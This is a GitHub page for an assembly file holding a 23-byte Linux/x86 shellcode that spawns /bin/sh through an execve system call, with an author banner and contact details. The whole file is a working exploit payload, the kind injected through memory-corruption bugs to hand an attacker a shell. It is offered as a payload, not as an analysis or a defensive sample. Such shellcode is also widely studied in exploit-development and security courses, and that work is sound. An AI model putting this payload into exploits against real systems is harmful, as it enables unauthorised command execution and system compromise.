-
Notifications
You must be signed in to change notification settings - Fork 1
/
sh1.asm
24 lines (24 loc) · 825 Bytes
/
sh1.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; *****************************************************
; * Linux/x86 execve /bin/sh shellcode 23 bytes *
; *****************************************************
; * Author: Hamza Megahed *
; *****************************************************
; * Twitter: @Hamza_Mega *
; *****************************************************
; * blog: hamza-mega[dot]blogspot[dot]com *
; *****************************************************
; * E-mail: hamza[dot]megahed[at]gmail[dot]com *
; *****************************************************
[SECTION .text]
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al, 0xb
int 0x80